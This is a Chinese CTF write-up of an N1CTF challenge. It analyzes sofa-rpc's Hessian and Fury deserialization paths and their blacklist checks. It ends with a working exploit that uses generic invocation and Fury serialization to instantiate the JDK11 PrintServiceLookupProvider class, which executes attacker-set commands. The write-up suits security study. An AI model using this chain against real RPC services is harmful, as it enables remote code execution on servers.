前言 之前 N1CTF 的一道题目,服务端是 sofa-rpc 的 demo,可以参考 https://www.sofastack.tech/projects/sofa-rpc/getting-started-with-rpc/ pom 如下,jdk 版本为 11,依赖只有 sofa-rpc-all
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?xml version="1.0" encoding="UTF-8" ?> <project xmlns ="http://maven.apache.org/POM/4.0.0" xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation ="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd" > <modelVersion > 4.0.0</modelVersion > <groupId > com.server</groupId > <artifactId > sofa-server</artifactId > <version > 1.0-SNAPSHOT</version > <properties > <maven.compiler.source > 11</maven.compiler.source > <maven.compiler.target > 11</maven.compiler.target > <project.build.sourceEncoding > UTF-8</project.build.sourceEncoding > </properties > <dependencies > <dependency > <groupId > com.alipay.sofa</groupId > <artifactId > sofa-rpc-all</artifactId > <version > 5.13.1</version > </dependency > </dependencies > </project >
远程调用流程 题目服务端实现了一个远程方法,参数类型是 String
1 2 3 4 5 6 7 8 9 package com.server;public class HelloServiceImpl implements HelloService { @Override public String sayHello (String string) { System.out.println("Server receive: " + string); return "hello " + string + " !" ; } }
我们可以在客户端调用 sayhello 方法,参考官方文档的 demo
1 2 3 4 5 6 7 ConsumerConfig<HelloService> consumerConfig = new ConsumerConfig<HelloService>() .setInterfaceId(HelloService.class.getName()) // 指定接口 .setProtocol("bolt") // 指定协议 .setDirectUrl("bolt://127.0.0.1:12200"); // 指定直连地址 // 生成代理类 HelloService helloService = consumerConfig.refer(); System.out.println(helloService.sayHello("world"));
断点打在 com.alipay.sofa.rpc.codec.bolt.SofaRpcSerialization#deserializeContent(Request)中 服务端先从客户端发来的RpcRequestCommand 对象中获取反序列化器,这里的默认值是 1 ![[_resources/N1CTF faso/358897c3ce38d47c97114cf5b471a970_MD5.jpeg]] 接着把 1传入 com.alipay.sofa.rpc.codec.SerializerFactory#getSerializer(byte)获取反序列化器 ![[_resources/N1CTF faso/1995f2d32747699e99d9da64cb6cd4ef_MD5.jpeg]] 这里可用的反序列化器有 5 种,默认使用 hessian 后续会进入 com.alipay.sofa.rpc.codec.sofahessian.serialize.SofaRequestHessianSerializer#decodeObjectByTemplate 这里是触发序列化的位置,会使用自定义的 serializerFactory 来进行 Hessian2 协议的反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 @Override public void decodeObjectByTemplate (AbstractByteBuf data, Map<String, String> context, SofaRequest template) throws SofaRpcException { try { UnsafeByteArrayInputStream inputStream = new UnsafeByteArrayInputStream (data.array()); Hessian2Input input = new Hessian2Input (inputStream); input.setSerializerFactory(serializerFactory); Object object = input.readObject(); SofaRequest tmp = (SofaRequest) object; String targetServiceName = tmp.getTargetServiceUniqueName(); if (targetServiceName == null ) { throw buildDeserializeError("Target service name of request is null!" ); } template.setMethodName(tmp.getMethodName()); template.setMethodArgSigs(tmp.getMethodArgSigs()); template.setTargetServiceUniqueName(tmp.getTargetServiceUniqueName()); template.setTargetAppName(tmp.getTargetAppName()); template.addRequestProps(tmp.getRequestProps()); String interfaceName = ConfigUniqueNameGenerator.getInterfaceName(targetServiceName); template.setInterfaceName(interfaceName); String[] sig = template.getMethodArgSigs(); Class<?>[] classSig = ClassTypeUtils.getClasses(sig); final Object[] args = new Object [sig.length]; for (int i = 0 ; i < template.getMethodArgSigs().length; ++i) { args[i] = input.readObject(classSig[i]); } template.setMethodArgs(args); input.close(); } catch (IOException e) { throw buildDeserializeError(e.getMessage(), e); } }
反序列化得到的对象是一个 SofaRequest 对象,后续再恢复属性,并且将函数调用的参数也用反序列化来恢复,我们想要触发反序列化,用 String 的话是不可以的,但是这里限制了 sayHello 的方法参数,我们可以继续从文档中找到一个泛化调用的方法,可以参考 https://www.sofastack.tech/projects/sofa-rpc/generic-invoke/
1 2 3 4 5 6 7 8 9 10 11 12 ConsumerConfig<GenericService> consumerConfig = new ConsumerConfig <GenericService>() .setInterfaceId(HelloService.class.getName()) .setProtocol("bolt" ) .setGeneric(true ) .setDirectUrl("bolt://127.0.0.1:12200" ); GenericService genericService = consumerConfig.refer();User user = new User ("world" , "world" );Object result = genericService.$invoke("sayHello" , new String [] { String.class.getName() }, new Object [] { user});System.out.println(result);
这里使用了 GenericService 来调用远程方法,我们便可以在参数中传入 Object 类型的参数,来触发参数的反序列化
如上通过 setGeneric 设置该服务为泛化服务,设置服务方的接口名。以 GenericService 作为泛化服务,通过 GenericService 就能够发起泛化调用了。发起调用时,需要传入方法名,方法类型,方法参数。
Hessian 反序列化 能触发反序列化后第一个想到的就是打 hessian 利用链,具体的 hessian 反序列化流程这里不做分析。 这里使用的 hessian 版本是 sofa-hessian 3.5.4,使用的黑名单可以从serializerFactory 中的 classNameResolver 中找到,共 172 个。 经过和 sofa-hessian 3.5.4 中的黑名单对比发现,这里的 172 个黑名单并不是使用的 hessian-3.5.4.jar 中的serialize.blacklist,而是用的 sofa-rpc-all-5.13.1.jar 中的serialize_blacklist.txt。 值得一提的是,sofa-hessian 3.5.4 原本的黑名单只有 68 个,并且也有反序列化漏洞,参考 https://github.com/sofastack/sofa-hessian/security/advisories/GHSA-c459-2m73-67hj ,最后在 3.5.5 修复 而 sofa-rpc-all-5.13.1.jar 中的 serialize_blacklist.txt 黑名单和 sofa-hessian 3.5.5 一致,也就是说这里的 3.5.4 其实是用的 3.5.5 的黑名单。 看了一眼 3.5.4 的黑名单,确实挺少的,用UIDefault+SwingLazyValue 即可,而 3.5.5 的基本坚不可摧,这也预示着 hessian 这条路很难打通。
Fury 反序列化 默认的 hessian 没法打之后,我尝试把思路放到别的反序列化协议上,这里的 fury 是一个值得关注的位置
1 2 3 4 5 6 ConsumerConfig<GenericService> consumerConfig = new ConsumerConfig <GenericService>() .setInterfaceId(HelloService.class.getName()) .setProtocol("bolt" ) .setGeneric(true ) .setSerialization("fury2" ) .setDirectUrl("bolt://127.0.0.1:12200" );
我们通过 setSerialization("fury2")
即可改变反序列化协议,由于没有见过 fury 的打法,我这里对 fury 的反序列化流程做一个分析。 我们将断点打在 com.alipay.sofa.rpc.codec.fury.serialize.SofaRequestFurySerializer#decodeObjectByTemplate
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 @Override public void decodeObjectByTemplate (AbstractByteBuf data, Map<String, String> context, SofaRequest template) throws SofaRpcException { if (data.readableBytes() <= 0 ) { throw new SofaRpcException (RpcErrorType.SERVER_DESERIALIZE, "Deserialized array is empty." ); } try { MemoryBuffer readBuffer = MemoryBuffer.fromByteArray(data.array()); SofaRequest tmp = (SofaRequest) fury.deserialize(readBuffer); String targetServiceName = tmp.getTargetServiceUniqueName(); if (targetServiceName == null ) { throw new SofaRpcException (RpcErrorType.SERVER_DESERIALIZE, "Target service name of request is null!" ); } template.setMethodName(tmp.getMethodName()); template.setMethodArgSigs(tmp.getMethodArgSigs()); template.setTargetServiceUniqueName(tmp.getTargetServiceUniqueName()); template.setTargetAppName(tmp.getTargetAppName()); template.addRequestProps(tmp.getRequestProps()); String interfaceName = ConfigUniqueNameGenerator.getInterfaceName(targetServiceName); template.setInterfaceName(interfaceName); final Object[] args = (Object[]) fury.deserialize(readBuffer); template.setMethodArgs(args); } catch (Exception e) { throw new SofaRpcException (RpcErrorType.SERVER_DESERIALIZE, e.getMessage(), e); } }
这里的流程基本和 hessian 类似,先反序列化还原一个 SofaRequest,再反序列化恢复参数,我们利用泛化调用即可触发反序列化,而这里重点关注的是他的反序列化流程。 将 buffer 变成 object 的操作位于 io.fury.Fury#readRef(io.fury.memory.MemoryBuffer)中 ![[_resources/N1CTF faso/1e69d4809ec476723e2d7d4a56d4926c_MD5.jpeg]] 这里先进行 readClassInfo,再接着进行readDataInternal 来还原对象,我们先跟进 readClassInfo 中,
黑白名单检查 这里比较重要的部分是一段类名检查的逻辑,这里当发现类名不在白名单中的时候,也就是 registeredClass
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 if (!extRegistry.registeredClassIdMap.containsKey(cls) && !shimDispatcher.contains(cls)) { String msg = String.format( "%s is not registered, please check whether it's the type you want to serialize or " + "a **vulnerability**. If safe, you should invoke `Fury#register` to register class, " + " which will have better performance by skipping classname serialization. " + "If your env is 100%% secure, you can also avoid this exception by disabling class " + "registration check using `FuryBuilder#requireClassRegistration(false)`" , cls); boolean forbidden = BlackList.getDefaultBlackList().contains(cls.getName()); if (forbidden || !isSecure(extRegistry.registeredClassIdMap, cls)) { throw new InsecureException (msg); } else { if (!fury.getConfig().suppressClassRegistrationWarnings() && !Functions.isLambda(cls) && !ReflectionUtils.isJdkProxy(cls)) { LOG.warn(msg); } } }
首先会将类名在 BlackList.getDefaultBlackList()
中过一遍黑名单,如果 forbidden 为 1 则直接抛出异常,所以我们反序列化的类一定需要在黑名单之外,这里使用的是 fury-core-0.4.1.jar,为最新版本,黑命单在 https://github.com/apache/fury/blob/main/java/fury-core/src/main/resources/fury/disallowed.txt 通过了黑名单检测后,还需要经过 io.fury.resolver.ClassResolver#isSecure 函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 private boolean isSecure (IdentityMap<Class<?>, Short> registeredClasses, Class<?> cls) { if (BlackList.getDefaultBlackList().contains(cls.getName())) { return false ; } if (registeredClasses.containsKey(cls)) { return true ; } if (cls.isArray()) { return isSecure(registeredClasses, TypeUtils.getArrayComponent(cls)); } if (fury.getConfig().requireClassRegistration()) { return Functions.isLambda(cls) || ReflectionUtils.isJdkProxy(cls); } else { return extRegistry.classChecker.checkClass(this , cls.getName()); }
在这个函数中会先走一遍黑名单,再走一遍白名单,如果发现不是特殊的类型,接着会进入 io.fury.resolver.AllowListChecker#checkClass 函数,最后进入 io.fury.resolver.AllowListChecker#check,根据 checkLevel 来检查类名,默认是 STRICT
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 private boolean check (String className) { switch (checkLevel) { case DISABLE: return true ; case WARN: if (containsPrefix(disallowList, disallowListPrefix, className)) { throw new InsecureException ( String.format("Class %s is forbidden for serialization." , className)); } if (!containsPrefix(allowList, allowListPrefix, className)) { LOG.warn( "Class {} not in allow list, please check whether objects of this class " + "are allowed for serialization." , className); } return true ; case STRICT: if (containsPrefix(disallowList, disallowListPrefix, className)) { throw new InsecureException ( String.format("Class %s is forbidden for serialization." , className)); } if (!containsPrefix(allowList, allowListPrefix, className)) { throw new InsecureException ( String.format( "Class %s isn't in allow list for serialization. If this class is allowed for " + "serialization, please add it to allow list by AllowListChecker#addAllowClass" , className)); } return true ; default : throw new UnsupportedOperationException ("Unsupported check level " + checkLevel); } }
在 STRICT 的条件下,需要满足不在黑名单前缀里面,且需要在白名单前缀里,这里的 disallowList 和 allowList 默认都是空,也就是说只要进来就一定会抛出异常,这让我们一下回到了最开始,也就是需要满足 registeredClass 但在这个题目中,出题人对服务端进行了配置修改
1 public static final ConfigKey<String> SERIALIZE_CHECKER_MODE = ConfigKey.build("sofa.rpc.codec.serialize.checkMode", "DISABLE", true, " The default filtering mode is STRICT.You can also set WARN or DISABLE", new String[]{"sofa_rpc_codec_serialize_checkMode"});
把 checkMode 改为了 DISABLE,也就是说在类名的检查中,我们只需要不触发黑名单即可。
还原对象 fury 反序列化流程第二个关键的地方位于 readDataInternal 中,这也是把字节流还原为对象的过程,我们可以把断点打在 io.fury.serializer.CompatibleSerializer#read 中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 @SuppressWarnings("unchecked") @Override public T read (MemoryBuffer buffer) { if (isRecord) { Object[] fieldValues = new Object [fieldResolver.getNumFields()]; readFields(buffer, fieldValues); RecordUtils.remapping(recordInfo, fieldValues); assert constructor != null ; try { T t = (T) constructor.invokeWithArguments(recordInfo.getRecordComponents()); Arrays.fill(recordInfo.getRecordComponents(), null ); return t; } catch (Throwable e) { Platform.throwException(e); } } T obj = (T) newBean(); refResolver.reference(obj); return readAndSetFields(buffer, obj); }
大致的流程是先用 newBean()来实例化对象,再用 readAndSetFields 来恢复属性
1 2 3 4 5 6 7 8 9 10 private Object newBean () { if (constructor != null ) { try { return constructor.invoke(); } catch (Throwable e) { Platform.throwException(e); } } return Platform.newInstance(type); }
示例化的过程很简单,如果有构造方法就触发无参构造方法,如果没有就会使用 Unsafe 来直接构造对象。 而恢复属性的操作位于 io.fury.util.FieldAccessor#putObject
1 2 3 4 5 6 7 public final void putObject (Object targetObject, Object object) { if (fieldOffset != -1 ) { Platform.putObject(targetObject, fieldOffset, object); } else { set(targetObject, object); } }
如果 fieldOffset 不等于-1,就会使用 Unsafe 来设置属性,否则会用反射来设置,这里并没有涉及到 getter 和 setter 的触发,比较安全。 综上来看,还原对象的过程中可利用的地方便是触发无参构造方法,那么我么可以尝试寻找一个包含无参构造方法,且能直接 RCE 的类。
无参构造方法 RCE 打印机类即可,参考 https://h4cking2thegate.github.io/posts/46396/ ,来源于 KCon 的议题 windows 下没有相关的类,可以直接参考代码 https://github.com/openjdk/jdk/blob/master/src/java.desktop/unix/classes/sun/print/PrintServiceLookupProvider.java fury 的黑名单只 ban 掉了 sun.print.UnixPrintService 和 sun.print.UnixPrintServiceLookup,而本题使用的 jdk11 中,这个类改名成了PrintServiceLookupProvider,导致了黑名单的绕过。 最终的 exp 如下,windows 环境下我是写了一个同名的类,其中只包含了属性,方便序列化。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 public static void main (String[] args) throws Exception { ConsumerConfig<GenericService> consumerConfig = new ConsumerConfig <GenericService>() .setInterfaceId(HelloService.class.getName()) .setProtocol("bolt" ) .setGeneric(true ) .setSerialization("fury2" ) .setDirectUrl("bolt://127.0.0.1:12200" ); User user = new User ("world" , "world" ); PrintServiceLookupProvider print = new PrintServiceLookupProvider (); String[] cmd= { "touch /tmp/111" , "touch /tmp/222" }; setFieldValue(print, "lpcAllCom" , cmd); Object result = genericService.$invoke("sayHello" , new String [] { String.class.getName() }, new Object [] { user}); System.out.println(result); }
插曲 最开始的思路是想用反序列化来打到 RCE 我的初版利用链是 HashMap+XStringForFSB 来触发 getter,到这里都是能绕过黑名单的 接着寻找 json 来触发 getter,可惜的是目标环境只有低版本的 jackson 和 gson,都没法触发 getter,这条路也就没有走下去。
Reference https://xz.aliyun.com/news/12905 https://h4cking2thegate.github.io/posts/46396/ https://xz.aliyun.com/news/12264